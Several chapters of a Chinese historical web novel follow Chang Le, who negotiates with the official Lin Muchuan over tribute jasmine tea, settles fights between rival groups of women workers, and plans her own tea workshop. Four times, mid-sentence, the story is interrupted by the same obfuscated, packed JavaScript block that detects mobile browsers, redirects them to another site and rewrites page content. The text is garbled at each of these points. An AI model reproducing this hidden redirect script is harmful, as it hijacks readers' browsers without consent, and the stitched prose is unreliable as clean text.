这人能察觉自己的念头并不稀奇，只是他既然知道又为何要绕着圈子说话？ 她转头看过去，只见对方嘴角噙笑，好整以暇地呷了一口茶。 “常娘子来此肯定不是为了抱怨，有何可解在下燃眉之急的法子，林某愿闻其详。” 原来在这里等着呢！本是他有求于自己，经此一激，倒成了自己为求庇护献上良策了。 常乐不禁想起那日林牧川看向自己的复杂眼神，难道那时他便料到如今之事？ 此人可真难对付！ 不过，只要是对方有所求那就有得谈。 常乐整顿心神，摆出客气的笑容开口：“大人所虑不过是按时制出足量的茶叶而已，既然如此何不多招揽些匠人呢？” “时间匆忙，熟手的匠人皆在各处制茶作坊当工，难不成要募来生手不成？这可与招募那些女子不同。” 这一点常乐自然知道，如今的女子皆只做些挑花、窨花之事情，因此事男匠人也是首次接触，二者并无区别。 但前期的茶坯处理和后期的复火干燥皆是长久流传下来的工艺，熟手才能掌握关窍。 这两项步骤皆是西院男匠人在做，这也是他们能擅动茶叶，常乐却不能过度追究的原因。 刚起步，总是艰难的。 “自然不是招募生手。”常乐扬眉，“林大人约见的都是庆丰县有名的制茶作坊吧？为何不找那些小一些的作坊呢？” “小作坊？”林牧川沉吟，“小作坊匠人本就稀缺，哪里还有人可以挪给控茶司。” “大人何不换个思路，直接将小作坊包下来？” “此话何意？” “大小作坊皆需赶工，但小作坊相较大作坊却更为灵活，其单子零散且小，纵背约也赔不了多少。” “况且，茗香坊所制花茶挑拣上等之后，余下的次等可匀给小作坊，他们单子的买主若知花茶是上贡之茶，怕是巴不得替换呢。” 林牧川斟酌着常乐所说的话，手指敲着桌子开口：“依旧是时间问题，上贡之茶纵好也是新品，单主总有顾虑，交涉的时间恐怕太长。” 说完，他就见常娘子正饶有兴味地看着自己。 林牧川心中了然，起身恭恭敬敬地作揖发问：“还望娘子不吝赐教。” 常乐嘴角微扬，起身踱步道：“这就要看林大人的诚意了。” 说过的话被对方原原本本地还了回来，林牧川却也只得请对方开出条件。 “其一，请大人在贡茶贴子上书“庆丰县女子常乐所献茶方”几个字；其二，令西院匠人将那六名女子带回茗香坊，其三，请大人垫资在茗香坊附近新建一处制茶作坊，所有花费我保证两年内还清。” “两年？”林牧川惊讶开口：“娘子可知新建一处制茶作坊耗资几何？你如何能保证两年内还清？” 常乐眸光闪烁，轻笑道：“这一点大人无需担心，届时我与大人签下借契，若还不上我便愿赌服输，从父母处拿钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597509|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还与大人。” “你与父母打赌了？”林牧川蹙眉。 常乐暗笑，既然你如此坚定地认为我身后有家族势力，我岂能不好好利用。 “还是与大人说说如何招揽小作坊匠人吧。” 林牧川露出一个愿闻其详的表情。 “令小作坊停下所有单子制作花茶，将其坊内所存的陈茶、劣茶兑成我们新制的花茶，且先到先得，待人数足够便不再不，小作坊体量小，存茶不至于太多。” “这怕是不妥，茗香坊所出的中下等茶，虽不用于上贡，但也需贩至外地，所得的银子可都是需要交至国库的。'' “所以，再加上一点，令这些小作坊今年内皆寄名于茗香坊，遵令制茶，所产之茶控茶司需占八成。如此一来，便可省下部分收茶的本钱。” “那么，那些陈茶、劣茶如何处置？”林牧川追问。 “这些就请林大人好生收在库内，我自有法子处理。” 谈话至此，林牧川打量着眼前的女子，脑中再次琢磨起她的身份来历。 能有如此气量，定不是小户人家的女子，只是稍有资产的家族都不会让女子出来抛头露面，可她却又对制茶的见地不同寻常，绝不是养在深宅的妇人能有的见识。 她究竟是何方神圣？ 常乐却也留意着林牧川的态度，见他面色几度变化，大约能猜测出他在想什么。 “林大人，你以为如何？” “娘子也忒不信任林某了，刻意不说陈茶、劣茶的处理方法，是怕林某不理会你提出的条件吗？” 这便是同意了，常乐粲然一笑：“林大人心胸怎会如此窄小，再者来说，得罪我这么个有用之人，也不是林大人能做出来的事。” 林牧川再度施礼道：“娘子好计策，林某佩服。说出来或许失礼，但娘子家族不容娘子施为，实在是辜负了娘子的聪颖，损失不小。” “这世上能任女儿主事的父亲能有几位？他们盯着的不过是女儿的婚配价值罢了。” 林牧川敏锐地捕捉到了常乐语气中的不忿和悲凉，他忽而想起了常乐当初的那番介绍。 “小女子名常乐，随夫至庆丰县探亲……” 莫不是她父亲强令将她嫁与她不悦之人，她才与家中立下赌约，靠自己成立一番事业？ 林大人这项思绪飘远，常乐却未多关注。 这番对话说得口干舌燥，她端着茶杯润嗓子，思索起该如何将玉娘等六名女子留在自己的作坊中。 翌日一早，常乐在茗香坊起身，香儿捧了水过来伺候她净面。 “娘子，玉娘他们过来了，正在院子里等娘子吩咐呢。” “她们可曾用过早膳？若是没有就叫进来吧，令厨房多上些，就在这屋里一起用吧。” 香儿吩咐下去，再回来伺候常乐穿衣梳头。 简单梳好一个随云髻后，那六名女子便走了进来， “都坐罢，随意用些。” 众人眼神交汇，却犹豫着不敢动作。 踌躇得一会儿，玉娘忽然开口：“常娘子，不是我不想来，实在是家里不允，连我房间的窗户都钉死了！” 常乐咬米糕的动作一顿，看了看玉娘子，又看向其余众人。 “你们呢？也是一样吗？” 5. 东院 “你也是如此吗？”常乐随手指了一人。 被指到的女子目光闪躲，憋红了脸期期艾艾地开口：“我本就不愿来的，都是我屋里那位强要我来的。” 常乐皱眉回忆了一会，想起这位娘子姓姚，名簿上也只写了姚氏，丈夫是西院匠人。这几日看下来，此人行事扭捏拖沓，总把我家那位挂在嘴边。 常乐并不回她，只再问：“还有谁也是不愿来的？” 最左侧的紫衣女子接过话：“常娘子，我也是不愿来的，还望娘子高抬贵手，放我回去。” 常乐抬眼一看就知此人是管事何忠的侄女何绫，她吞下手中最后一点米糕刺道：“这是哪里话，难道是我逼你来的？” “娘子此话令人不解。”何绫立时反驳：“难道不是你逼我伯父将我带回来的吗？” 看来这人对自己颇有怨言，常乐冷笑：“别的不提，一开始找你们来时，我说的可是有愿意制茶的女子便共同到东院，那时你为何半字不提不愿呢？” “我父为茗香坊匠人，我伯父为茗香坊管事，当时需要女子到娘子处学艺，我当为家人考虑。” 何绫语气间颇为不忿：“娘子招来我们本就是为了便宜将制茶方子传于西院匠人，如今目的已经达成，怎么偏又令我们回来，此处毕竟多有外男……” “好了！”常乐出言打断她的话，“你为着家人可以忍着不适居中传艺，怎么他们就不可以成全你的心意任你留在家中呢？” “那还不都是因为你！” “真的是因为我吗？若他们真在意你的心思，凭你伯父管事的身份，林大人又如何会不给面子？”常乐盯着何绫，眉眼间皆是不耐烦。 她不再去理对方的反应，转而对着众人道：“我不论你们过来时是自愿还是不愿，既然到了东院学了我的技艺，就别想着教会了家里在西院的匠人就万事大吉可以随意应付了。” “当然，真有不愿待的我也不强留你，只是你也不能白学了去，无论你用什么法子寻两名女子到东院来，把学到的都教给她们，你就可以离开！” 以二换一未免强人所难，但何绫此刻却也不敢再反驳，心中已经开始思考从何处找来两名女子。 一旁的姚氏面上满是为难和焦急，看样子这事对她来说不好解决。 话说到此，气氛略显僵硬，常乐也不再留她们共同用饭，命人将席面撤到院子里，只留下了自己那份。 一直到午后，东院其余女子逐渐醒来，共同用过午饭后，一行二十余人皆往当中那间敞门大堂方向走。 今日的茉莉花苞已经送来，几大篓整齐地码放在角落。 众人合力熟练地将竹篓往中间抬，捧了一捧放到桌案上的簸箕中就开始挑拣。 不过一会儿，常乐走了进来，女匠人们手中不停，嘴上皆打着招呼。 “娘子来了。” 常乐应过一声，开始说起东院的规矩。 “头一件的便是花茶的制作，既是来做事的，只要事情做好，其余皆不干涉。” 说完，又将上午所说想要离开东院的条件重申了一遍，话一出口大堂内一片寂静，只能听到衣袖摩擦的声音，众人低头不说话，想必上午的事早已经传开了。 常乐见状又补充道：“当然，也是因为当下时间紧迫，待贡茶之事完毕，再想走的也不需再找人，只是日后若再想入我院中就不是那么容易了。” 话说完，果然见当中几人面色缓和了下来，其中又以姚氏表现得最为明显。 看来此人已经打定主意要离开了，常乐心中暗叹，但随即就丢开不再想它，人各有命，强求不得。 看着有条不紊动作的诸位，她心中还是颇为感慨，到了蛮丘她才发觉原来女子可以不必困于闺阁之中，原来女子也可以和男子一样挣出自己的一番事业。 只看眼前这些人，便有几位值得称道的。 刘玉娘自不必说，昨晚就跑回了东院，只怕是林牧川令她们回来的消息一到，她就卷了细软赶了过来，看样子是真被她那个老秀才爹关起来了。 同样是西院匠人亲戚的程兰心则更为踏实仔细，她与刘玉娘二人一直是“关系党”的领头。 “关系党”与“白身党”是东院暗地里传开的称呼，因明面上并未起值得注意的冲突，常乐也只当不知道。 相较下来，“白身党”这边的杨初月则更为用功，常乐好几次看到她在旁人休息时还守在窨制室里打转。 目前看下来，这三人是最可用的，只盼着贡茶之事结束以后，她们愿意跟着自己走。 过得几日，石头走到常乐身边说林大人有请，她便跟着一路走到了茗香坊的门房。 林牧川拿出几张契约，上面是一些小作坊愿意出让匠人的条例，常乐看了看，共有五家制茶坊。 “人数已经够了，有几坊的陈茶、劣茶已经运来，其他的这几日也会送来，娘子你看如何处理？” 常乐略思索过便说：“先存到库内，东院的库房也存些，我这里几日便会有结果。” 林牧川点了点头，就吩咐王同去办事，王同应下后却不走，一直往常乐身上看，引得林牧川再度开口他才匆忙走了。 “这是？”林牧川有些不解，看着常乐噙笑的面容就更不解了。 “那日我闯控茶司的时候，他守着门房呢，可能是觉得那时的举动得罪了我，没想到我竟能得林大人的厚待，这是怕我记恨呢。” 林牧川便笑：“这厮也就如此了。” “谁说不是呢。”常乐脸上的笑意更深，但心中却更冷了一分。如今西院那些男匠人对着自己也再不敢露出当时那般打量的目光，可见自身所掌的权势才是安身之本。 回到东院后，常乐便吩咐挑过的茉莉再不要丢弃了，好生收在篓子里，窨过又挑出来的茉莉也分开收到篓子里。 “娘子，这些花是有什么用吗？”刘玉娘开口问。 “正是，之前是无用武之地，如今该是有大用的时候了。” 众人便笑，杨初月又道：“那我们可还能做茉莉香囊？” “做香囊能用多少？”刘玉娘啐她。“这点事还值当问娘子的，就是做上一百个，那也用不着半篓的。” “好了好了。”常乐便笑：“什么芝麻大点的事也拿来吵嘴。玉娘、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597510|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初月你们手上的事停一停，先抬半篓花随我来。” 然后又对程兰心道：“兰心，这边你看着点，有什么事就到库房找我。” 吩咐完毕，她便领着两人走到库房，打开旁边的房间，里面有三个炒青的灶台，旁边有些桌案，其上摆放着杵臼之类的工具。 “现如今控茶司与许多制茶作坊定下了契约，人手不再紧缺，我们也该自己学会炒青和揉青了。” 刘玉娘和杨初月听得此话眸子瞬间亮了起来，只叫了她们二人，这是看重的意思！再者，上次西院男匠人擅自动了东院这边的茶叶，她们也是十分不服气，私底下不知道骂过几遭。 如今可以自己学得，以后就再不必看那边的脸色了。 常乐自然看出了她们的想法，又说：“如今茗香坊新摘的茶叶皆需用来制作贡茶，咱们不好拿来练手，就先用这些陈茶吧。” “这些小作坊制作的大多是绿茶，未及时脱手的在库里放久了就成了陈茶，这些陈茶品质已变差，我们尝试着提提它的口味。” 说定以后，她们便从库中抬出几篓陈茶，又将灶膛中燃起炭火。 “陈茶放久了总会有些潮气，先复火干燥，其中的手法你们先看我做一遍。” 一人教，两人学，常乐试过几遍，令二人边看边上手，期间又加以指点。耗费了一整篓的茶叶，终于学了个大概。 房间内温度渐渐升高，三人的里衣皆已汗湿，常乐端着干燥后的茶叶坐到了桌案旁。 “现下将茶叶和茉莉花拌在一起，与窨制不同，直接拌作一处，而后用模具压成茶饼即可。” 刘玉娘和杨初月依言上手，常乐又说：“这不过是我的想法罢了，你们若又其余的法子也都可以尝试，这陈茶放着也是浪费，若能想出办法提升口味，这就是我们日后制茶坊的本钱！” “娘子，你的意思莫不是？”不知是过于激动还是太热，刘玉娘面颊红润眸子清亮，一脸希冀地望着常乐。 常乐失笑点头：“是的，我已与林大人说好，我们会在这附近建一处自己的制茶作坊。” “真的！”此话一出，连一向沉稳的杨初月都跳了起来。 看来我还是有同道中人的，常乐心下感叹，面上却依旧保持着镇定。 “所以，我们必须将这批陈茶处理好，届时与林大人议事时才能更有底气。” 二人此时热血满腔，忙不迭地提出了几种想法。 常乐这厢与她们谈论着哪些想法可行，就听见香儿在门外喊。 “娘子，何管事请娘子往门房去一趟，他带了人过来。” 常乐走到门口，只见一个三十余岁的妇人牵着一个十岁左右的小姑娘坐在里面，听见有人来，那妇人立时带着小姑娘起身。 “这就是我说的常乐常娘子。”何忠在一旁介绍。 “见过常娘子。”妇人施了万福礼，又拉着小姑娘行礼，小姑娘胆怯地望着常乐，瑟缩着不敢动作。 妇人赶紧满脸堆着歉意的笑：“娘子莫怪，小孩子家家的没见过市面。” 常乐道了声无事，又转身问何忠：“忠叔，这二位是？” 6. 争端 “这是梁氏和她的女儿……” 何忠顿得一下，那妇人立刻接口：“绣云，绣花的绣，白云的云。”一面说着一面又令女儿行礼。 “先不忙，”常乐止住她的动作，又问何忠：“这二位也是忠叔找来替侄女的？” 前两日何绫就领来一个十二三岁的女孩，说是自己的婢女碧桃，那孩子面黄肌瘦，一看就是在牙人手里刚买来的。 看着她走路颤颤巍巍的样子，常乐都怕她什么时候就没了，好在养得几日精神头渐渐上来了。 看这位梁氏的样子，此人多半不是何忠找来，而是她自己寻来的。 何忠回道：“正是，娘子说以二换一，算上碧桃那个丫头我这已经找了三个人了。” “等绫娘子把这三人教出来再说吧。”说完，她便领着母女二人往里走。 “梁……”常乐说得一个字就皱眉，“你的名字是什么？” “回娘子，身边的人都叫我红婶。” “那便记上梁红二字，你可识字？” “哦，我女儿绣云识得几个字。” 常乐便去看那个女孩，对方察觉到她的目光又往娘亲身边躲。 “瘦了些，但看着机灵。” 见说到女儿，红婶脸上的笑又真了几分：“就是胆小，怕见生人。” 问起家中的情况，红婶便说丈夫五年前去世，自己独自拉扯女儿。 常乐见她神色如常，就知她对那丈夫也无甚怀念，见她衣袖处绣着一只蝴蝶便问：“红婶手巧，这蝴蝶绣得精妙。” “这是小女的绣的，我没这手艺。” 常乐颇为惊讶，又见绣云衣服上绣满了各色花样，彼此又不呼应，瞧着像是把衣服当绣布了。 “我这女儿平时就爱绣个花啊草啊的，娘子若不嫌弃，这个香囊拿着玩儿吧。” 才看见一从兰草，香囊就被一只小手夺走。 “哎呀，这孩子，快给娘。”绣云背着手只管摇头，眼睛里已经一片晶莹。 常乐见状就笑开了：“小娘子的孝心我岂能相夺，红婶你别为难孩子。” 见红婶依旧局促，她又蹲到绣云面前道：“不怕，我不会抢走这个香囊的，你和娘就安心在这里学着制茶。” 将红婶母女交与何绫后，常乐再回到库房处，刘玉娘和杨初月依旧在那间房里。 “月娘你闻，是不是味道更浓些？”刘玉娘的语气透着兴奋。 “真个，陈茶的涩味都被掩去了。”杨初月话音落下，房间内传出的尽是二人愉快的笑声。 “什么事这么高兴，十丈外都听的到了。”常乐一跨进门就打趣。 “常娘子，你来闻！”刘玉娘端着一碗茶递到了眼前。 甫一挨近，就闻到一阵茉莉的清香，低眉去看，只见碗中茶色如琥珀，茶叶沉在碗底，茉莉花飘在其上。 接过碗浅尝了一口，常乐眸光闪烁：“果然陈味去了大半，你们如何做到的？” 刘玉娘便笑道：“还是月娘子心细，将茉莉花隔水温过，再与复火过的茶叶拌在一处，如此便将陈味掩去不少。” “好！”常乐放下碗，握紧杨初月的手，“初月你能想到此等法子，可见用心。” 杨初月面上一红，赶忙推辞：“哪里都是我的功劳了，玉娘也有份参与的。” “哎呀。”她又一把扯过刘玉娘，“你真是的，怎么能都推到我身上呢？” 三人你看看我，我看看你，皆笑了出来。 正此时，忽而听到前院传来吵闹的声音，三人止了笑细听，分明是女子争吵的声音。常乐神色一黯，率先一步走了出去。 刚行至角门，就见大堂内那些女匠人扭打在一起，叫骂声、尖叫声此起彼伏。 方才那点愉悦的心情荡然无存，她走到近前，随手拿起一个茶壶摔在地上，瓷器碎裂的声音炸开，众人惊惧之下停了动作。 “你们这是在干什么？要翻天吗！”常乐竖眉怒斥。 角落里，一直护着女儿的红婶快步走到近前赔罪：“娘子息怒，都是我不好。” 常乐并不答话，转头问程兰心：“兰心，你说说，究竟发生了什么值得闹成这样。” 程兰心为难地看了眼红婶道：“这事儿一开始是因为白雪，见绣云闲着，便让她帮着挑花，但绣云是娘子指给绫娘子教导的，绫娘子来唤绣云，白雪却不准她过去。 “她那边教着碧桃和红婶呢，我不过让绣云搭把手罢了，还是在帮她呢，绣云尽早学会了，她也能尽早如愿回去绣嫁妆！” “你住口！”何绫登时眼圈一红，叉腰指着白雪骂：“谁知道你安的什么心，我的人就算闲得打蚊子了，也轮不到你来教！” 白雪反驳：“不教便不教，谁稀罕！那你也不能上手推我啊，你看我这新浆洗的衣裳，沾的都是灰！” “我几时推你了？谁叫你拉着绣云不松手，我不过挣开你的手，是你自己站不稳，现在又来赖我！” “你若不推，好好的人怎么会站不稳？你不过仗着父亲、伯父在西院，觉得有人与你撑腰罢了！” 这次开口的又是另一名女子，常乐看过去，又是“白身党”那边的。 眼见着是一场意外，其实不过矛盾的爆发。 最开始时，“关系党”在茗香坊有亲人，且能居中传话，还能从西院匠人处学到更多，更皆东院的茶需西院匠人帮着制坯、复火，她们在地位上隐隐压了“白身党”一头。后者也甘于人后，万事不敢争先，相处还算和睦。 前几日“关系党”中六人未来，西院匠人又动了东院的茶，这让“白身党”对西院有了微词，那与西院有亲的“关系党”则只能算半个东院人，觉得自己才是常乐的心腹。 心里的想法一变，待“关系党”的态度就变了，二者之间的摩擦不断变多。 白雪那句话多少含着刺何绫学完了就走的意思，只是没想到平时看着不显的白雪闹起来竟然能让何绫这个小姐脾气的人恼成这样。 眼见着双方争吵得越来越激烈，常乐刚想出声，就听见大门处传来一声吼。 “是哪个敢欺负我女儿？” 来人浓眉大眼，手上提着一根扁担，怒气冲冲地走进大门，随着进来的还有十来个精壮男子，看装扮就知是西院的匠人。 他刚跨进门，常乐便挡在当中，不令其近前。 “常娘子，你让开，让我看看是哪个不要命的敢在茗香坊动我女儿！”何义语气急切，不满地盯着拦路的人。 “东院皆是女子，你们如何能这般闯进来，还不快出去！”常乐怒叱。 “女子又如何？是女子就能欺负我女儿了？” “无人欺负你女儿，不过是误会罢了，你们先回西院，待这边事了，我自会让绫娘子亲自与你分说。” 何义并不买账，他举着手中的扁担又喊：“东院这地界是你的地盘，出了这么大的事，我如何能放心将女儿留在这里。” 常乐心头火起，看来西院这帮人对自己辟出东院的举动心存不满，上次带走东院女子未果，今日又想要借着这事儿好生闹上一闹了。 “知道是我的地盘怎么还如此放肆！要么你们现在赶紧出去，要么我们就一同去见林大人，请他亲自来断！” 此言一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597511|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出，何义等人才算是歇了再往里闯的心思。 这边刚好，里面却又起了事端，女子们不知怎的竟没看住何绫，让她跑了出来。 何义看自家女儿一脸凄惶的样子，刚按下去的心再度提了起来，又想往前冲。 常乐一把扯住奔来的何绫，朝着院内大喊：“怎么连个人都看不住，程兰心！” 东院的女子皆走到了院内，程兰心踌躇不前，倒是刘玉娘上前拉着何绫往里走。 “常娘子，你什么意思，是要用强么！”何义目眦尽裂。 “何义！我已说过，待事情明晰，我自会放绫娘子过去。她惹出事端，如此不明不白地就让你带走，这世上没这个理！” 常乐继续紧逼：“你若是不服，不管是找林大人还是找县老爷，我就在此地等着！” 如此，她才算摆脱了眼前这一大帮男匠人，转身回院处理此事。 众人皆问过一遍，事情就如方才说的一般，白雪想让绣云搭把手，何绫却不肯，一来二去就起了争执，最终发展成两党之间的冲突。 常乐捏着眉心开口：“所有人罚三日工钱，白雪、何绫挑起争端罚五日，程兰心管事不力也罚五日，刘玉娘与杨初月未参与此事，可免。” 见众人皆垂头不语，她才又道：“白雪、何绫回家一日，后日午后再来，其余人将大堂归置好，今日也不需制茶了，都回下处好好反省一晚。” 吩咐完毕，又令程兰心、刘玉娘、杨初月三人随自己回房。 行至房内，常乐道：“兰心，此事你本无错，如此罚你，可知为何？” “是我辜负了娘子的信任。” 常乐却摇头：“不仅如此，兰心，还有你们二位，皆是资质初出众之人，我希望你们能立起来，带领众姐妹走出深闺。” 兰心闻言不解，刘玉娘就把将新建自己的作坊一事说了，兰心却愣在当场。 “如今我们在茗香坊，还可只管制茶之事，若是出去了，外面的事、茶坊的事，我总需你们搭手。” 说到此，常乐顿了顿才又开口：“除非，你们并不愿意跟随我。” “我等自然愿意跟着娘子！”刘玉娘急切答道，又去看另外两位。杨初月跟着点头，程兰心却面露难色。 “此事确实突然，你们自可好生考虑，不用立刻回我。” 说完她又提了几句两党的纷争，“玉娘、初月，今日之事虽与你们无关，但两党之间摩擦日久，你们二人切不可因此生出龃龉。” “放心吧娘子，不会的！”刘玉娘指天保证。 常乐点点头，便令三人下去用饭。 三人离开后，香儿才将晚饭端了上来，常乐却毫无胃口。 年龄相仿、家世也大抵相同，不过一点小小的区别就能闹到如此地步！ 不过这并不是常乐最恨的，身在后宫时，婢女们因为跟着的嬷嬷不同都能分出几派来，眼前这点算不得什么。 令她着恼的是，一点风声就令西院匠人敢持械冲进来，事情落在旁人眼里，不免嘲讽女子多事，一点小事就值得闹成这样。 这也是自己在茗香坊权势不够，否则那些匠人如何敢不管不顾地冲到东院。 一想到自己几次三番提起林牧川才平了这番风波，常乐便如鲠在喉。 此事虽小，但若是任由态势发展下去，两派人隔阂日深，日后真到了自己的作坊，内部便不稳，又如何与外面的作坊抗衡。 饭菜都放凉了她也没吃几筷子，令香儿撤下后，她的视线落到了旁边书案的一摞纸上。 那是五家小作坊的契书，常乐心头闪过一个念头。 7. 作坊 茗香坊西院内，一众匠人正有条不紊地忙活着自己的事。管事何忠走进炒青坊，视线在房间内转过一圈，看到何义后便朝他走了过去。 “林大人来了，就在门房，你赶紧把汗擦擦，换过衣服，我在门口等你。” 何义听罢，三两下将手中的茶叶炒好，就赶着到后面的房子去了。 何忠在门口等得半刻，才与换好衣服出来的胞弟一同往门房赶。 门房处，林牧川正翻着小作坊递上的簿子，上面皆是每日茶叶出产的数量、品质等细目。 翻得大半，何忠便领着何义进来了，林牧川不令他们多礼，直接问事。 “你大哥说你有事情找我，到底是什么事？” “不敢。”何义拱手，“是为着小女一事。” “是前日东院女匠人龃龉一事？”这等事情自然早有人报到他这里了。 “正是，小女经此一事整日闷闷不乐，说什么也不愿到茗香坊来了，故此向大人求个恩典。” 何忠适时开口：“东院女匠人本就是为了好向西院传话才募来的，如今事情既成，也不好再留在此处。好教大人知道，我侄女年前已经许了人家，若不是为了贡茶一事，本不该令她出来抛头露面的。” 林牧川心中如何不明白，何义资质并不突出，当日焦急地把女儿带过来，无非就是怕落于人后。 当时不说男女大防，如今靠着花茶的技艺在西院隐隐高人一头了，倒来说不好抛头露面的事了。 不过此等事情，他这个外人也不好妄自议论。 “既如此，就让绫娘子好生在闺中待嫁吧，出门子那日本官定来讨杯酒吃。” 两兄弟自然千恩万谢，何义又提起常乐：“大人开口我等自然放心，只怕常娘子那边不好交代。” “此事你们就不用管了，我自去与常娘子说。” 因小作坊匠人的加入，东院这边制茶的担子卸下大半，女匠人们无需再同之前一般所有人从午后一直忙到第二日清晨。 众人排出班次，自行依照时间上工休息。 技艺熟稔之后，常乐也无需时时盯着，只偶尔过去看几眼罢了。 此时，她正在新理出来的炒青房内示意炒青手法，几名正学着的女子中就包括碧桃。 或许是害怕再回到此前艰难的生活，碧桃在东院任劳任怨，凡事都抢着做，更兼其人机灵变通，很快便上手。 常乐是秉承着好生教导她的念头的，东院的女子最小的年龄都在16岁，最大的也不过30岁，她们中总归是要结婚生育的。 这一来二去，总有近一年的时间不可上工，而碧桃还不到十三，因为饮食不佳月信都未至，她可能是自己作坊中第一批中坚力量。 至于比她小两岁的绣云，由于来的时间不长，还未显出什么。 见众人皆热得面红耳赤，常乐便发话歇息片刻，刚走出门，就见香儿来报林大人到了院中。 男女有别，与林牧川说话便不好在自己房内，常乐便将人引至当日与刘玉娘和杨初月处理陈茶的房间。 “地方简陋，望大人不要嫌弃。”她说着，抬手递给对方一杯茶。 林牧川喝了一口便皱眉往杯中看。 “这茶不是新制的贡茶，可这香味？”他又品了一口才道：“难道是陈茶？” 常乐便笑：“大人不正是为此事而来吗？” “看来是我多虑了，娘子果然成竹在胸才提此一计。” “大人何必自谦，以大人谨慎的处事，若是不相信我有法子处理，自然不敢采纳此计。” 两人试探一番，相视一笑。 常乐率先开口：“不过这法子却不全是我想出来的，除我之外，女子中本自有可成大事者。” “哦？”林牧川颇有兴趣，“看来娘子已经在留意心腹之人了？” “能不能算是心腹还待考验，不过哪怕不追随我，她们的资质也不该空耗在闺阁当中。” 随即又苦笑：“不过她们所处的也算不得闺阁吧，也不是绣花打络子，不过是做饭扫地罢了。” 说完才觉失态，忙转过话头：“还未问大人，那五处作坊的陈茶与劣茶可都送过来了？” “我正是随着随后一批送来的茶叶过来的，本来想问娘子处置之法，现下已尽知了。” 见对方如此捧场，常乐扬起下巴：“这只是陈茶，劣茶的处理则更为简单，本就是售卖给穷苦人家的，只需将其与窨过的茉莉花压成茶饼，添些滋味便能更受青睐。” “如此一来，控茶司这笔买卖并未亏本。” “事情至此，林大人总算可以高枕无忧了。” “本官之事已经解决，可娘子之事只怕正是棘手的时候。”林牧川望着常乐，神情严肃。 “林大人此话何意？” 林牧川便将何忠兄弟所说，与自己同意何绫就此不来的事情说了。 “林大人。”常乐忽而起身，“你怎么能擅自替我做主？” “据我所知，何绫已经在东院闹出过事情，且她伯父也已照你的意思寻了三人过来，她既不愿又何苦留她。”林牧川出言相劝。 “即便如此，林大人你也该与我商议过。” 说完，常乐便知失言，此处总归是对方的地盘，何忠任茗香坊管事多年，他亲自开口，林牧川不可能这点体面都不给他。 再者，他的话也在理，何绫如今一心只想着离开，留下也无用，自己终究还是有些急躁任性了。 想到这，常乐又展开浅笑：“如此也好，还要多谢林大人为我了了这件麻烦事。” 林牧川颇为差异地看着她转瞬间态度的变化，好一会儿才又开口接过话头。 又说得几句将此事揭过，林牧川又提起另一件事。 “听石头说，娘子在打听那五家小作坊的事？” “是，不瞒大人说，我想盘下一间作坊。” 前日晚间看到那五间小作坊的名录簿子后，常乐就起了这个心思，为了了解更多消息，她便令石头派人去打听。 林牧川诧异地皱眉，而后才问：“可是为着前日之事？” “正是。”常乐忧虑地坐下又道：“再在此处待下去，两派人之间的隔阂只会越来越深，倒不如趁着龃龉不深，早点挪出去。” “小作坊虽经营艰难些，但总归是一门产业，匆忙间，只怕难以盘下。” 林牧川说完又道：“更何况，这五家作坊与控茶司签下契书以后势头正盛，坊主不会愿意的。” 常乐便皱眉：“这所愁的正是这一点。” “那为何不直接看看其他的呢？庆丰县可不止有着五间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13597512|143294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小作坊。” 闻此言，常乐眉头舒展，随即又拧在了一起：“也不好。” 她还想再解释，就听石头在外请见。 “想是有所收获。”常乐冲着林牧川一笑：“林大人，此中打算我日后再与大人解释，大人只不要忘了答应我的三个条件就行。” 说罢，她便起身送客。 林牧川打量着眼前意气风发的女子，对她脑中的谋算升起十分好奇，但既然对对方已经下了逐客令，他也只好客随主便。 “自然不会忘，林某便等着娘子的好消息。” 送走林牧川后，常乐接过石头呈上的簿子，一页页翻看着，然后便挑中了其中两家。 石头去招呼马车，常乐换过一身衣裳，一切收拾停当后，二人便乘着马车驶离了茗香坊。 